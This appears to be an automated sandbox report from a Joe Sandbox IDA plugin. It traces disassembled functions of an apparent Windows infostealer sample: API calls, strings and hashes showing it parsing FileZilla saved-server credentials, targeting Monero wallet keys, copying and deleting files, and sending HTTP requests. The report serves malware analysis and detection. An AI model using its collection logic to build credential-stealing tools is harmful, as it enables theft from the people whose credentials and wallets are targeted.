Associated: 00000000.00000002.1993179638.000000000168D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993204468.000000000168E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: HttpQueryInfoA$InternetSetOptionA
API String ID: 2238633743-1775429166
Opcode ID: 2bb53df6cdb39f958b8d5accb58a0486587db20279ca34fee1bf4cec30958e02
Instruction ID: 49c03f442529e63270f1a11783e6ac5d64791f349e52215b94bba565ea7b234b
Opcode Fuzzy Hash: 2bb53df6cdb39f958b8d5accb58a0486587db20279ca34fee1bf4cec30958e02
Instruction Fuzzy Hash: 2A62FABD6C1240AFE778DFA8F98C96A3BF9F78C601714851AA60BC724CD6399441DF60

Function 01007710 Relevance: 81.6, APIs: 54, Instructions: 584
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 01007724
RtlAllocateHeap.NTDLL(00000000), ref: 0100772B
lstrcat.KERNEL32(?,01869A80), ref: 010078DB
lstrcat.KERNEL32(?,?), ref: 010078EF
lstrcat.KERNEL32(?,?), ref: 01007903
lstrcat.KERNEL32(?,?), ref: 01007917
lstrcat.KERNEL32(?,0186DD68), ref: 0100792B
lstrcat.KERNEL32(?,0186DD50), ref: 0100793F
lstrcat.KERNEL32(?,0186DC60), ref: 01007952
lstrcat.KERNEL32(?,0186DC78), ref: 01007966
lstrcat.KERNEL32(?,01869B08), ref: 0100797A
lstrcat.KERNEL32(?,?), ref: 0100798E
lstrcat.KERNEL32(?,?), ref: 010079A2
lstrcat.KERNEL32(?,?), ref: 010079B6
lstrcat.KERNEL32(?,0186DD68), ref: 010079C9
lstrcat.KERNEL32(?,0186DD50), ref: 010079DD
lstrcat.KERNEL32(?,0186DC60), ref: 010079F1
lstrcat.KERNEL32(?,0186DC78), ref: 01007A04
lstrcat.KERNEL32(?,01869B70), ref: 01007A18
lstrcat.KERNEL32(?,?), ref: 01007A2C
lstrcat.KERNEL32(?,?), ref: 01007A40
lstrcat.KERNEL32(?,?), ref: 01007A54
lstrcat.KERNEL32(?,0186DD68), ref: 01007A68
lstrcat.KERNEL32(?,0186DD50), ref: 01007A7B
lstrcat.KERNEL32(?,0186DC60), ref: 01007A8F
lstrcat.KERNEL32(?,0186DC78), ref: 01007AA3
lstrcat.KERNEL32(?,01869BD8), ref: 01007AB6
lstrcat.KERNEL32(?,?), ref: 01007ACA
lstrcat.KERNEL32(?,?), ref: 01007ADE
lstrcat.KERNEL32(?,?), ref: 01007AF2
lstrcat.KERNEL32(?,0186DD68), ref: 01007B06
lstrcat.KERNEL32(?,0186DD50), ref: 01007B1A
lstrcat.KERNEL32(?,0186DC60), ref: 01007B2D
lstrcat.KERNEL32(?,0186DC78), ref: 01007B41
lstrcat.KERNEL32(?,0186E3A8), ref: 01007B55
lstrcat.KERNEL32(?,?), ref: 01007B69
lstrcat.KERNEL32(?,?), ref: 01007B7D
lstrcat.KERNEL32(?,?), ref: 01007B91
lstrcat.KERNEL32(?,0186DD68), ref: 01007BA4
lstrcat.KERNEL32(?,0186DD50), ref: 01007BB8
lstrcat.KERNEL32(?,0186DC60), ref: 01007BCC
lstrcat.KERNEL32(?,0186DC78), ref: 01007BDF
lstrcat.KERNEL32(?,0186E410), ref: 01007BF3
lstrcat.KERNEL32(?,?), ref: 01007C07
lstrcat.KERNEL32(?,?), ref: 01007C1B
lstrcat.KERNEL32(?,?), ref: 01007C2F
lstrcat.KERNEL32(?,0186DD68), ref: 01007C43
lstrcat.KERNEL32(?,0186DD50), ref: 01007C56
lstrcat.KERNEL32(?,0186DC60), ref: 01007C6A
lstrcat.KERNEL32(?,0186DC78), ref: 01007C7E

Part of subcall function 010075D0: lstrcat.KERNEL32(3010D020,010217FC), ref: 01007606
Part of subcall function 010075D0: lstrcat.KERNEL32(3010D020,00000000), ref: 01007648
Part of subcall function 010075D0: lstrcat.KERNEL32(3010D020, : ), ref: 0100765A
Part of subcall function 010075D0: lstrcat.KERNEL32(3010D020,00000000), ref: 0100768F
Part of subcall function 010075D0: lstrcat.KERNEL32(3010D020,01021804), ref: 010076A0
Part of subcall function 010075D0: lstrcat.KERNEL32(3010D020,00000000), ref: 010076D3
Part of subcall function 010075D0: lstrcat.KERNEL32(3010D020,01021808), ref: 010076ED
Part of subcall function 010075D0: task.LIBCPMTD ref: 010076FB

lstrcat.KERNEL32(?,0186E788), ref: 01007E0B
lstrcat.KERNEL32(?,0186D928), ref: 01007E1E
lstrlen.KERNEL32(3010D020), ref: 01007E2B
lstrlen.KERNEL32(3010D020), ref: 01007E3B

Part of subcall function 0101A740: lstrcpy.KERNEL32(01020E17,00000000), ref: 0101A788

Memory Dump Source

Source File: 00000000.00000002.1992313367.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1992284275.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000013DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992936803.00000000014F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993179638.000000000168D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993204468.000000000168E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Heaplstrlen$AllocateProcesslstrcpytask
String ID:
API String ID: 928082926-0
Opcode ID: 2f1adf344cd14f2868ffd802330aa8d197bf06583c7578efc5941bc559ecc869
Instruction ID: bb64c700d7cbd53ac4c9c5f4e96c89d94826cf9fbe2d105c5c0a8a642c820eb2
Opcode Fuzzy Hash: 2f1adf344cd14f2868ffd802330aa8d197bf06583c7578efc5941bc559ecc869
Instruction Fuzzy Hash: 1F3245BAD40315ABE725EBA0EC88DDE737DBB54600F044689F20E63084EA79E785CF51

Function 01010250 Relevance: 68.6, APIs: 29, Strings: 10, Instructions: 366
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0101A740: lstrcpy.KERNEL32(01020E17,00000000), ref: 0101A788

Part of subcall function 01018DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 01018E0B

Part of subcall function 0101A920: lstrcpy.KERNEL32(00000000,?), ref: 0101A972
Part of subcall function 0101A920: lstrcat.KERNEL32(00000000), ref: 0101A982

Part of subcall function 0101A8A0: lstrcpy.KERNEL32(?,01020E17), ref: 0101A905

Part of subcall function 0101A9B0: lstrlen.KERNEL32(?,01869010,?,\Monero\wallet.keys,01020E17), ref: 0101A9C5
Part of subcall function 0101A9B0: lstrcpy.KERNEL32(00000000), ref: 0101AA04
Part of subcall function 0101A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0101AA12

Part of subcall function 0101A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0101A7E6

Part of subcall function 010099C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 010099EC
Part of subcall function 010099C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 01009A11
Part of subcall function 010099C0: LocalAlloc.KERNEL32(00000040,?), ref: 01009A31
Part of subcall function 010099C0: ReadFile.KERNEL32(000000FF,?,00000000,0100148F,00000000), ref: 01009A5A
Part of subcall function 010099C0: LocalFree.KERNEL32(0100148F), ref: 01009A90
Part of subcall function 010099C0: CloseHandle.KERNEL32(000000FF), ref: 01009A9A

Part of subcall function 01018E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 01018E52

GetProcessHeap.KERNEL32(00000000,000F423F,01020DBA,01020DB7,01020DB6,01020DB3), ref: 01010362
RtlAllocateHeap.NTDLL(00000000), ref: 01010369
StrStrA.SHLWAPI(00000000,<Host>), ref: 01010385
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,01020DB2), ref: 01010393
StrStrA.SHLWAPI(00000000,<Port>), ref: 010103CF
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,01020DB2), ref: 010103DD
StrStrA.SHLWAPI(00000000,<User>), ref: 01010419
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,01020DB2), ref: 01010427
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 01010463
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,01020DB2), ref: 01010475
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,01020DB2), ref: 01010502
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,01020DB2), ref: 0101051A
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,01020DB2), ref: 01010532
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,01020DB2), ref: 0101054A
lstrcat.KERNEL32(?,browser: FileZilla), ref: 01010562
lstrcat.KERNEL32(?,profile: null), ref: 01010571
lstrcat.KERNEL32(?,url: ), ref: 01010580
lstrcat.KERNEL32(?,00000000), ref: 01010593
lstrcat.KERNEL32(?,01021678), ref: 010105A2
lstrcat.KERNEL32(?,00000000), ref: 010105B5
lstrcat.KERNEL32(?,0102167C), ref: 010105C4
lstrcat.KERNEL32(?,login: ), ref: 010105D3
lstrcat.KERNEL32(?,00000000), ref: 010105E6
lstrcat.KERNEL32(?,01021688), ref: 010105F5
lstrcat.KERNEL32(?,password: ), ref: 01010604
lstrcat.KERNEL32(?,00000000), ref: 01010617
lstrcat.KERNEL32(?,01021698), ref: 01010626
lstrcat.KERNEL32(?,0102169C), ref: 01010635
lstrlen.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,01020DB2), ref: 0101068E

Strings

<Pass encoding="base64">, xrefs: 0101045A
browser: FileZilla, xrefs: 01010559
<Host>, xrefs: 0101037C
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 010102A4
<User>, xrefs: 01010410
password: , xrefs: 010105FB
<Port>, xrefs: 010103C6
profile: null, xrefs: 01010568
login: , xrefs: 010105CA
url: , xrefs: 01010577

Memory Dump Source

Source File: 00000000.00000002.1992313367.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1992284275.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000013DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992936803.00000000014F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993179638.000000000168D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993204468.000000000168E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$lstrcpy$FileLocal$AllocHeap$AllocateCloseCreateFolderFreeHandlePathProcessReadSize
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 1942843190-555421843
Opcode ID: 9986e5c68989ac3a95fb56e81b0e3a86fd1edb321bc73f6ba996236a86ec208e
Instruction ID: eee30fd556b6d056c8ee5eea7bb111d253594e5be6178c128aca3c1628c96cd5
Opcode Fuzzy Hash: 9986e5c68989ac3a95fb56e81b0e3a86fd1edb321bc73f6ba996236a86ec208e
Instruction Fuzzy Hash: F2D14075A41209DBDB14EBE4DD99EEE7778EF28310F444418F583A7088DF78AA46CB60

Function 0100A790 Relevance: 39.0, APIs: 21, Strings: 1, Instructions: 539
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0101AA70: StrCmpCA.SHLWAPI(01868CF0,0100A7A7,?,0100A7A7,01868CF0), ref: 0101AA8F

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0100AAC8
RtlAllocateHeap.NTDLL(00000000), ref: 0100AACF
StrCmpCA.SHLWAPI(00000000,ERROR_RUN_EXTRACTOR), ref: 0100ABE2
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0100A8B0

Part of subcall function 0101A820: lstrlen.KERNEL32(01004F05,?,?,01004F05,01020DDE), ref: 0101A82B
Part of subcall function 0101A820: lstrcpy.KERNEL32(01020DDE,00000000), ref: 0101A885

Part of subcall function 0101A9B0: lstrlen.KERNEL32(?,01869010,?,\Monero\wallet.keys,01020E17), ref: 0101A9C5
Part of subcall function 0101A9B0: lstrcpy.KERNEL32(00000000), ref: 0101AA04
Part of subcall function 0101A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0101AA12

Part of subcall function 0101A8A0: lstrcpy.KERNEL32(?,01020E17), ref: 0101A905

lstrcat.KERNEL32(?,00000000), ref: 0100ACEB
lstrcat.KERNEL32(?,01021320), ref: 0100ACFA
lstrcat.KERNEL32(?,00000000), ref: 0100AD0D
lstrcat.KERNEL32(?,01021324), ref: 0100AD1C
lstrcat.KERNEL32(?,00000000), ref: 0100AD2F
lstrcat.KERNEL32(?,01021328), ref: 0100AD3E
lstrcat.KERNEL32(?,00000000), ref: 0100AD51
lstrcat.KERNEL32(?,0102132C), ref: 0100AD60
lstrcat.KERNEL32(?,00000000), ref: 0100AD73
lstrcat.KERNEL32(?,01021330), ref: 0100AD82
lstrcat.KERNEL32(?,00000000), ref: 0100AD95
lstrcat.KERNEL32(?,01021334), ref: 0100ADA4
lstrcat.KERNEL32(?,00000000), ref: 0100ADB7
lstrlen.KERNEL32(?), ref: 0100AE0D
lstrlen.KERNEL32(?), ref: 0100AE1C

Part of subcall function 0101A740: lstrcpy.KERNEL32(01020E17,00000000), ref: 0101A788

Part of subcall function 0101A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0101A7E6

DeleteFileA.KERNEL32(00000000), ref: 0100AE97

Strings

ERROR_RUN_EXTRACTOR, xrefs: 0100ABD4

Memory Dump Source

Source File: 00000000.00000002.1992313367.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1992284275.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000013DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992936803.00000000014F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993179638.000000000168D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993204468.000000000168E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcess
String ID: ERROR_RUN_EXTRACTOR
API String ID: 4157063783-2709115261
Opcode ID: 954a69a2cc50660a3246ba6a249e4d8de0f30dd8d73bbd39da77d6d949564842
Instruction ID: 2ac9ff28b13e86aedc86f32c18c2f300b5c6512514341ff52d5105699e67d6ae
Opcode Fuzzy Hash: 954a69a2cc50660a3246ba6a249e4d8de0f30dd8d73bbd39da77d6d949564842
Instruction Fuzzy Hash: 0E128475A51149EBDB15FBA0DD94EEE7379BF24210F404058F587A7098EF38AE0ACB60

Function 01005960 Relevance: 39.0, APIs: 17, Strings: 5, Instructions: 495
networkstringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0101A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0101A7E6

Part of subcall function 010047B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 01004839
Part of subcall function 010047B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 01004849

Part of subcall function 0101A740: lstrcpy.KERNEL32(01020E17,00000000), ref: 0101A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 010059F8
StrCmpCA.SHLWAPI(?,0186E718), ref: 01005A13
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 01005B93
lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,",00000000,?,0186E818,00000000,?,0186A018,00000000,?,01021A1C), ref: 01005E71
lstrlen.KERNEL32(00000000), ref: 01005E82
GetProcessHeap.KERNEL32(00000000,?), ref: 01005E93
RtlAllocateHeap.NTDLL(00000000), ref: 01005E9A
lstrlen.KERNEL32(00000000), ref: 01005EAF
lstrlen.KERNEL32(00000000), ref: 01005ED8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 01005EF1
lstrlen.KERNEL32(00000000,?,?), ref: 01005F1B
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 01005F2F
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 01005F4C
InternetCloseHandle.WININET(00000000), ref: 01005FB0
InternetCloseHandle.WININET(00000000), ref: 01005FBD
HttpOpenRequestA.WININET(00000000,0186E7A8,?,0186DEE8,00000000,00000000,00400100,00000000), ref: 01005BF8

Part of subcall function 0101A9B0: lstrlen.KERNEL32(?,01869010,?,\Monero\wallet.keys,01020E17), ref: 0101A9C5
Part of subcall function 0101A9B0: lstrcpy.KERNEL32(00000000), ref: 0101AA04
Part of subcall function 0101A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0101AA12

Part of subcall function 0101A8A0: lstrcpy.KERNEL32(?,01020E17), ref: 0101A905

Part of subcall function 0101A920: lstrcpy.KERNEL32(00000000,?), ref: 0101A972
Part of subcall function 0101A920: lstrcat.KERNEL32(00000000), ref: 0101A982

InternetCloseHandle.WININET(00000000), ref: 01005FC7

Strings

", xrefs: 01005E16
------, xrefs: 01005C0B
------, xrefs: 01005D4C
", xrefs: 01005CD5
------, xrefs: 01005A96

Memory Dump Source

Source File: 00000000.00000002.1992313367.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1992284275.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000013DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992936803.00000000014F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993179638.000000000168D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993204468.000000000168E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateConnectCrackFileProcessReadSend
String ID: "$"$------$------$------
API String ID: 874700897-2180234286
Opcode ID: 0b5f1c39b0b3d1a429b651afe8e10cc09162ac53610baaa804fb595f2b13ecb7
Instruction ID: dbd797d2b4835c76f695ce9fbcb98eb7ef272d3a8a01cdc7d5b1a031fa47e24e
Opcode Fuzzy Hash: 0b5f1c39b0b3d1a429b651afe8e10cc09162ac53610baaa804fb595f2b13ecb7
Instruction Fuzzy Hash: F1120A76A21169EBDB15EBA0DC94FEEB378BF24710F404199E54763094EF342A4ACF60

Function 0100CEF0 Relevance: 30.4, APIs: 20, Instructions: 375
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0101A740: lstrcpy.KERNEL32(01020E17,00000000), ref: 0101A788

Part of subcall function 0101A9B0: lstrlen.KERNEL32(?,01869010,?,\Monero\wallet.keys,01020E17), ref: 0101A9C5
Part of subcall function 0101A9B0: lstrcpy.KERNEL32(00000000), ref: 0101AA04
Part of subcall function 0101A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0101AA12

Part of subcall function 0101A8A0: lstrcpy.KERNEL32(?,01020E17), ref: 0101A905

Part of subcall function 01018B60: GetSystemTime.KERNEL32(01020E1A,0186A2E8,010205AE,?,?,010013F9,?,0000001A,01020E1A,00000000,?,01869010,?,\Monero\wallet.keys,01020E17), ref: 01018B86

Part of subcall function 0101A920: lstrcpy.KERNEL32(00000000,?), ref: 0101A972
Part of subcall function 0101A920: lstrcat.KERNEL32(00000000), ref: 0101A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0100CF83
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0100D0C7
RtlAllocateHeap.NTDLL(00000000), ref: 0100D0CE
lstrcat.KERNEL32(?,00000000), ref: 0100D208
lstrcat.KERNEL32(?,01021478), ref: 0100D217
lstrcat.KERNEL32(?,00000000), ref: 0100D22A
lstrcat.KERNEL32(?,0102147C), ref: 0100D239
lstrcat.KERNEL32(?,00000000), ref: 0100D24C
lstrcat.KERNEL32(?,01021480), ref: 0100D25B
lstrcat.KERNEL32(?,00000000), ref: 0100D26E
lstrcat.KERNEL32(?,01021484), ref: 0100D27D
lstrcat.KERNEL32(?,00000000), ref: 0100D290
lstrcat.KERNEL32(?,01021488), ref: 0100D29F
lstrcat.KERNEL32(?,00000000), ref: 0100D2B2
lstrcat.KERNEL32(?,0102148C), ref: 0100D2C1
lstrcat.KERNEL32(?,00000000), ref: 0100D2D4
lstrcat.KERNEL32(?,01021490), ref: 0100D2E3

Part of subcall function 0101A820: lstrlen.KERNEL32(01004F05,?,?,01004F05,01020DDE), ref: 0101A82B
Part of subcall function 0101A820: lstrcpy.KERNEL32(01020DDE,00000000), ref: 0101A885

lstrlen.KERNEL32(?), ref: 0100D32A
lstrlen.KERNEL32(?), ref: 0100D339

Part of subcall function 0101AA70: StrCmpCA.SHLWAPI(01868CF0,0100A7A7,?,0100A7A7,01868CF0), ref: 0101AA8F

DeleteFileA.KERNEL32(00000000), ref: 0100D3B4

